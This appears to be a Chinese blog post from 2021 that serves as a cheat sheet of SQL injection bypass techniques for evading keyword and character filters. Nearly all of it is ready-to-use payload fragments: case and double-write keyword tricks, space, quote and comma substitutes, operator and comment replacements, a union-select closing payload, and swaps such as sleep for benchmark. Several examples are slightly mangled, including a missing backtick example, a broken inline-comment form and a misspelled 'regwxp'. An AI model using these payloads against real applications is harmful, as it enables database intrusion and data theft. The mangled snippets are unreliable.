SQL注入绕过

常规绕过
⼤⼩写绕过 SeLEcT
双写绕过 selselectect

字符串绕过
16进制
函数使⽤:
char(65)

空格绕过:
1、使⽤/**/,/1/,%0a,%0d替换
2、使⽤括号:
union(select(xxx)from(xxx)where(xxx)=xxx)
3、使用反引号:
selectxxxfromxxxwherexxx=xxx
4、使用内联注入:
/!select//!id//!from//!user/
5、回车(url编码中的%0a),tab(%09)

引号绕过:
1、16进制绕过:
select * from xxx where name = 0x757365
2、弱类型⽐较:
select '1abc'=1

逗号绕过:
1、对于substr和mid函数使⽤from to绕过:
select substr(database() from 1 for 1)
2、联合查询使⽤join:
union select * from (select 1)a join (select 2)b
3、使⽤like,原来的mid(user(), 1, 1)=xxx可以替换为:
user() like 'r%’
4、limit可以使⽤offset绕过:
select * from xxx limit 1 offset 0

⽐较符号绕过:
1、使⽤greatest, least函数,前者返回最⼤值,后者返回最⼩值:
least(xxx, 64)=64 # xxx>=64
2、between and:
xxx between 1 and 1 # xxx=1
3、like,rlike,regexp:
xxx like 2 # xxx=2
xxx rlike '1' # xxx=1
xxx regexp '^1$' # xxx=1
4、> = <三者互相代替
5、<>等价于!=

逻辑⽐较绕过:
and使⽤&&代替
or使⽤||代替
xor使⽤|代替
not使⽤!代替

注释绕过:
1、#
2、%00
3、-- 后⾯有⼀个空格,三个字符才组成注释符
4、手动闭合:
id=1' union select 1,2,'3’

等价函数替换:
hex, bin <=> ascii
sleep <=> benchmark
concat_ws <=> group_concat
mid, substr <=> substring
@@user <=> user()
@@database <=> database()
left(xxx, 1)代替字符串截断,还有right

过滤 or and xor not 绕过:
and = &&
or = ||
xor = |
not = !

过滤 等号= 绕过
like:不加通配符的like执行的效果和=一致,所以可以用来绕过
regwxp:MYSQL中使用REGEXP操作符来进行正则表达式匹配

过滤函数绕过:
sleep() --> benchmark()
substr() --> substring()/mid()
substr() --> left(right())
right(left(‘abcd’,2),1) --> substr(“abcd”2,1)
ascii() --> ord()

posted @ 2021-12-01 14:03  redglare  阅读(663)  评论(0)    收藏  举报